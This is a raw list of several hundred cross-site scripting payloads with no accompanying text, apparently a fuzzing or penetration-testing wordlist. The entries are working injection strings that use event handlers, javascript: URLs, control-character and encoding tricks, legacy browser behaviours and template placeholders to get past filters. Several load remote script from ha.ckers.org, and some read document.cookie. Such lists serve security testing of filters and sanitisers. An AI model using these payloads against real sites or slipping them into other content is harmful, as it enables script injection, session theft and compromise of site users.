<img src=1 href=1 onerror="javascript:confirm(1)"></img>
<audio src=1 href=1 onerror="javascript:confirm(1)"></audio>
<video src=1 href=1 onerror="javascript:confirm(1)"></video>
<body src=1 href=1 onerror="javascript:confirm(1)"></body>
<image src=1 href=1 onerror="javascript:confirm(1)"></image>
<object src=1 href=1 onerror="javascript:confirm(1)"></object>
<script src=1 href=1 onerror="javascript:confirm(1)"></script>
<svg onResize svg onResize="javascript:javascript:confirm(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:confirm(1)"></title
onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:confirm(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:confirm(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:confirm(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:confirm(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:confirm(1)"></script
onReadyStateChange>
onMouseWheel>
<style onLoad style onLoad="javascript:javascript:confirm(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:confirm(1)"></iframe
onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:confirm(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:confirm(1)"></style
onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:confirm(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:confirm(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:confirm(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:confirm(1)"></script onLoad>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:confirm(1)"></applet
onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:confirm(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:confirm(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:confirm(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:confirm(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:confirm(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:confirm(1)"></iframe onload>
<body onload body onload="javascript:javascript:confirm(1)"></body onload>
<object onbeforeload object onbeforeload="javascript:javascript:confirm(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:confirm(1)"></body
onbeforeunload>
<body onfocus body onfocus="javascript:javascript:confirm(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:confirm(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:confirm(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:confirm(1)"></iframe src>
<svg onload svg onload="javascript:javascript:confirm(1)"></svg onload>
<body onblur body onblur="javascript:javascript:confirm(1)"></body onblur>
\x3Cscript>javascript:confirm(1)</script>
'"`><script>/* *\x2Fjavascript:confirm(1)// */</script>
<script>javascript:confirm(1)</script\x0D
<script>javascript:confirm(1)</script\x0A
<script>javascript:confirm(1)</script\x0B
<script charset="\x22>javascript:confirm(1)</script>
<!--\x3E<img src=xxx:x onerror=javascript:confirm(1)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:confirm(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:confirm(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:confirm(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:confirm(1)> -->
`"'><img src='#\x27 onerror=javascript:confirm(1)>
<a href="javascript\x3Ajavascript:confirm(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:confirm(1)//';</script></p>
<a href="javas\x00cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:confirm(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:confirm(1)// */</script>
<script>/* *\x00/javascript:confirm(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:confirm(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:confirm(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:confirm(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:confirm(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:confirm(1)//></style>
<script>if("x\\xE1\x96\x89".length==2) { javascript:confirm(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:confirm(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:confirm(1);}</script>
'`"><\x3Cscript>javascript:confirm(1)</script>
'`"><\x00script>javascript:confirm(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:confirm(1)>
"'`><\x00img src=xxx:x onerror=javascript:confirm(1)>
<script src="data:text/plain\x2Cjavascript:confirm(1)"></script>
<script src="data:\xD4\x8F,javascript:confirm(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:confirm(1)"></script>
<script src="data:\xCB\x8F,javascript:confirm(1)"></script>
<script\x20type="text/javascript">javascript:confirm(1);</script>
<script\x3Etype="text/javascript">javascript:confirm(1);</script>
<script\x0Dtype="text/javascript">javascript:confirm(1);</script>
<script\x09type="text/javascript">javascript:confirm(1);</script>
<script\x0Ctype="text/javascript">javascript:confirm(1);</script>
<script\x2Ftype="text/javascript">javascript:confirm(1);</script>
<script\x0Atype="text/javascript">javascript:confirm(1);</script>
<a href="\x0Bjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:confirm(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:confirm(1)>
`"'><img src=xxx:x \x22onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:confirm(1)>
`"'><img src=xxx:x \x0Donerror=javascript:confirm(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:confirm(1)>
`"'><img src=xxx:x \x09onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x0Conerror=javascript:confirm(1)>
`"'><img src=xxx:x \x00onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x27onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x20onerror=javascript:confirm(1)>
"`'><script>\x3Bjavascript:confirm(1)</script>
"`'><script>\x0Djavascript:confirm(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:confirm(1)</script>
"`'><script>\xE2\x80\x81javascript:confirm(1)</script>
"`'><script>\xE2\x80\x84javascript:confirm(1)</script>
"`'><script>\xE3\x80\x80javascript:confirm(1)</script>
"`'><script>\x09javascript:confirm(1)</script>
"`'><script>\xE2\x80\x89javascript:confirm(1)</script>
"`'><script>\xE2\x80\x85javascript:confirm(1)</script>
"`'><script>\xE2\x80\x88javascript:confirm(1)</script>
"`'><script>\x00javascript:confirm(1)</script>
"`'><script>\xE2\x80\xA8javascript:confirm(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:confirm(1)</script>
"`'><script>\xE1\x9A\x80javascript:confirm(1)</script>
"`'><script>\x0Cjavascript:confirm(1)</script>
"`'><script>\x2Bjavascript:confirm(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:confirm(1)</script>
"`'><script>-javascript:confirm(1)</script>
"`'><script>\x0Ajavascript:confirm(1)</script>
"`'><script>\xE2\x80\xAFjavascript:confirm(1)</script>
"`'><script>\x7Ejavascript:confirm(1)</script>
"`'><script>\xE2\x80\x87javascript:confirm(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:confirm(1)</script>
"`'><script>\xE2\x80\xA9javascript:confirm(1)</script>
"`'><script>\xC2\x85javascript:confirm(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:confirm(1)</script>
"`'><script>\xE2\x80\x83javascript:confirm(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:confirm(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:confirm(1)</script>
"`'><script>\xE2\x80\x80javascript:confirm(1)</script>
"`'><script>\x21javascript:confirm(1)</script>
"`'><script>\xE2\x80\x82javascript:confirm(1)</script>
"`'><script>\xE2\x80\x86javascript:confirm(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:confirm(1)</script>
"`'><script>\x0Bjavascript:confirm(1)</script>
"`'><script>\x20javascript:confirm(1)</script>
"`'><script>\xC2\xA0javascript:confirm(1)</script>
"/><img/onerror=\x0Bjavascript:confirm(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:confirm(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:confirm(1)\x09src=xxx:x />
"/><img/onerror=\x27javascript:confirm(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:confirm(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:confirm(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:confirm(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:confirm(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:confirm(1)\x20src=xxx:x />
<script\x2F>javascript:confirm(1)</script>
<script\x20>javascript:confirm(1)</script>
<script\x0D>javascript:confirm(1)</script>
<script\x0A>javascript:confirm(1)</script>
<script\x0C>javascript:confirm(1)</script>
<script\x00>javascript:confirm(1)</script>
<script\x09>javascript:confirm(1)</script>
`"'><img src=xxx:x onerror\x0B=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x00=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x0C=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x0D=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x20=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x0A=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x09=javascript:confirm(1)>
<script>javascript:confirm(1)<\x00/script>
<img src=# onerror\x3D"javascript:confirm(1)" >
<input onfocus=javascript:confirm(1) autofocus>
<input onblur=javascript:confirm(1) autofocus><input autofocus>
<video poster=javascript:javascript:confirm(1)//
<form id=test onforminput=javascript:confirm(1)><input></form><button form=test
onformchange=javascript:confirm(1)>X
<video><source onerror="javascript:javascript:confirm(1)">
<video onerror="javascript:javascript:confirm(1)"><source>
<form><button formaction="javascript:javascript:confirm(1)">X
<body oninput=javascript:confirm(1)><input autofocus>
<math href="javascript:javascript:confirm(1)">CLICKME</math> <math> <maction
actiontype="statusline#http://google.com"
xlink:href="javascript:javascript:confirm(1)">CLICKME</maction> </math>
<frameset onload=javascript:confirm(1)>
<table background="javascript:javascript:confirm(1)">
<!--<img src="--><img src=x onerror=javascript:confirm(1)//">
<comment><img src="</comment><img src=x onerror=javascript:confirm(1))//">
<![><img src="]><img src=x onerror=javascript:confirm(1)//">
<style><img src="</style><img src=x onerror=javascript:confirm(1)//">
<li style=list-style:url() onerror=javascript:confirm(1)> <div
style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden
onload=javascript:confirm(1)></div>
<head><base href="javascript://"></head><body><a href="/.
/,javascript:confirm(1)//#">XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:confirm(1)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL"
VALUE="javascript:confirm(1)"></OBJECT>
<x '="foo"><x foo='><img src=x onerror=javascript:confirm(1)//'>
<embed src="javascript:confirm(1)">
<img src="javascript:confirm(1)">
<image src="javascript:confirm(1)">
<script src="javascript:confirm(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:confirm(1)>x
<? foo="><script>javascript:confirm(1)</script>">
<! foo="><script>javascript:confirm(1)</script>">
</ foo="><script>javascript:confirm(1)</script>">
<? foo="><x foo='?><script>javascript:confirm(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:confirm(1)</script>">
<% foo><x foo="%><script>javascript:confirm(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:confirm(1)"></div>
<img \x00src=x onerror="confirm(1)">
<img \x47src=x onerror="javascript:confirm(1)">
<img \x11src=x onerror="javascript:confirm(1)">
<img \x12src=x onerror="javascript:confirm(1)">
<img\x47src=x onerror="javascript:confirm(1)">
<img\x10src=x onerror="javascript:confirm(1)">
<img\x13src=x onerror="javascript:confirm(1)">
<img\x32src=x onerror="javascript:confirm(1)">
<img\x47src=x onerror="javascript:confirm(1)">
<img\x11src=x onerror="javascript:confirm(1)">
<img \x47src=x onerror="javascript:confirm(1)">
<img \x34src=x onerror="javascript:confirm(1)">
<img \x39src=x onerror="javascript:confirm(1)">
<img \x00src=x onerror="javascript:confirm(1)">
<img src\x09=x onerror="javascript:confirm(1)">
<img src\x10=x onerror="javascript:confirm(1)">
<img src\x13=x onerror="javascript:confirm(1)">
<img src\x32=x onerror="javascript:confirm(1)">
<img src\x12=x onerror="javascript:confirm(1)">
<img src\x11=x onerror="javascript:confirm(1)">
<img src\x00=x onerror="javascript:confirm(1)">
<img src\x47=x onerror="javascript:confirm(1)">
<img src=x\x09onerror="javascript:confirm(1)">
<img src=x\x10onerror="javascript:confirm(1)">
<img src=x\x11onerror="javascript:confirm(1)">
<img src=x\x12onerror="javascript:confirm(1)">
<img src=x\x13onerror="javascript:confirm(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"confirm(1)">
<img src=x onerror=\x09"javascript:confirm(1)">
<img src=x onerror=\x10"javascript:confirm(1)">
<img src=x onerror=\x11"javascript:confirm(1)">
<img src=x onerror=\x12"javascript:confirm(1)">
<img src=x onerror=\x32"javascript:confirm(1)">
<img src=x onerror=\x00"javascript:confirm(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:confirm(1)>XXX</a>
<img src="x` `<script>javascript:confirm(1)</script>"` `>
<img src onerror /" '"= alt=javascript:confirm(1)//">
<title onpropertychange=javascript:confirm(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:confirm(1)></a>">
<!--[if]><script>javascript:confirm(1)</script -->
<!--[if<img src=x onerror=javascript:confirm(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object
classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:confirm(1)"
style="behavior:url(#x);"><param name=postdomevents /></object>
<a style="-o-link:'javascript:javascript:confirm(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:confirm(1)'}{}*{-o-link-
source:current}]{color:red};</style>
<link rel=stylesheet href=data:,*%7bx:expression(javascript:confirm(1))%7d
<style>@import "data:,*%7bx:expression(javascript:confirm(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;"
onclick="javascript:confirm(1);">XXX</a></a><a href="javascript:javascript:confirm(1)">XXX</a>
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo&#10;;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression\28javascript:confirm(1)\29>
<style>*{x:expression(javascript:confirm(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:confirm(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div>
<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
<x style="background:url('x&#1;;color:red;/*')">XXX</x>
<script>({set/**/$($){_/**/setter=$,_=javascript:confirm(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:confirm(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name',
function(){javascript:confirm(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:confirm(1)')()</script>
<meta charset="x-imap4-modified-
utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8Acg
A9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-
utf7">&<script&S1&TS&1>confirm&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset="mac-farsi">1⁄4script3⁄4javascript:confirm(1)1⁄4/script3⁄4
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:confirm(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)`
attributename=`inner to=`&lt;img/src=&quot;x&quot;onerror=javascript:confirm(1)&gt;`>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)
attributename=innervalues=&lt;img/src=&quot;.&quot;onerror=javascript:confirm(1)&gt;>
<vmlframe xmlns=urn:schemas-microsoft-com:vml
style=behavior:url(#default#vml);position:absolute;width:100%;height:100%
src=%(vml)s#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml
style=behavior:url(#default#vml);position:absolute href=javascript:javascript:confirm(1)
strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:confirm(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss"
datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:confirm(1)">
<a href="javascript:javascript:confirm(1)"><event-source src="data:application/x-dom-event-
stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t"
implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x"
to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:confirm(1)&gt;">
<script>%(payload)s</script>
<script src=%(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:confirm(1)</script>
<IMG SRC="javascript:javascript:confirm(1);">
<IMG SRC=javascript:javascript:confirm(1)>
<IMG SRC=`javascript:javascript:confirm(1)`>
<SCRIPT SRC=%(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:confirm(1);"></FRAMESET>
<BODY ONLOAD=javascript:confirm(1)>
<BODY ONLOAD=javascript:javascript:confirm(1)>
<IMG SRC="jav ascript:javascript:confirm(1);">
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:confirm(1)>
<SCRIPT/SRC="%(jscript)s"></SCRIPT>
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:confirm(1)"
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:confirm(1);">
<IMG DYNSRC="javascript:javascript:confirm(1)">
<IMG LOWSRC="javascript:javascript:confirm(1)">
<BGSOUND SRC="javascript:javascript:confirm(1);">
<LAYER SRC="%(scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:confirm(1);">
<STYLE>@import'%(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:confirm(1)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:confirm(1);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:confirm(1);">
<IFRAME SRC="javascript:javascript:confirm(1);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:confirm(1)">
<TABLE><TD BACKGROUND="javascript:javascript:confirm(1)">
<DIV STYLE="background-image: url(javascript:javascript:confirm(1))">
<DIV STYLE="width:expression(javascript:confirm(1));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:confirm(1))">
<XSS STYLE="xss:expression(javascript:confirm(1))">
<STYLE TYPE="text/javascript">javascript:confirm(1);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:confirm(1)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:confirm(1)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:confirm(1);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:confirm(1);//">
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
value=javascript:javascript:confirm(1)></OBJECT>
</HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
<form id="test" /><button form="test" formaction="javascript:javascript:confirm(1)">X
<body
onscroll=javascript:confirm(1)><
<input autofocus>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:confirm(1)">
<STYLE>@import'%(css)s';</STYLE>
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:confirm(1);');}</STYLE>
<meta charset= "x-imap4-modified-
utf7"&&>&&<script&&>javascript:confirm(1)&&;&&<&&/script&&>
<SCRIPT onreadystatechange=javascript:javascript:confirm(1);></SCRIPT>
<style onreadystatechange=javascript:javascript:confirm(1);></style>
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:confirm(1);></embed>
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:confirm(1)></frameset>
<object onerror=javascript:javascript:confirm(1)>
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG
SRC="javas]]<![CDATA[cript:javascript:confirm(1);">]]</C><X></xml>
<IMG SRC=&{javascript:confirm(1);};>
<a href="jav&#65ascript:javascript:confirm(1)">test1</a>
<a href="jav&#97ascript:javascript:confirm(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe
srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:al
ert(1)&amp;gt;>">
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";
confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:confirm('XSS');">
<IMG SRC=javascript:confirm('XSS')>
<IMG SRC=JaVaScRiPt:confirm('XSS')>
<IMG SRC=javascript:confirm("XSS")>
<IMG SRC=`javascript:confirm("RSnake says, 'XSS'")`>
<a onmouseover="confirm(document.cookie)">xxs link</a>
<a onmouseover=confirm(document.cookie)>xxs link</a>
<IMG """><SCRIPT>confirm("XSS")</SCRIPT>">
<IMG SRC=javascript:confirm(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="confirm('xxs')">
<IMG SRC= onmouseover="confirm('xxs')">
<IMG onmouseover="confirm('xxs')">
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101
;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&
#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#00000
40&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x
72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascript:confirm('XSS');">
<IMG SRC="jav&#x09;ascript:confirm('XSS');">
<IMG SRC="jav&#x0A;ascript:confirm('XSS');">
<IMG SRC="jav&#x0D;ascript:confirm('XSS');">
perl -e 'print "<IMG SRC=java\0script:confirm(\"XSS\")>";' > out
<IMG SRC=" &#14; javascript:confirm('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>confirm("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:confirm('XSS')"
\";confirm('XSS');//
</TITLE><SCRIPT>confirm("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:confirm('XSS');">
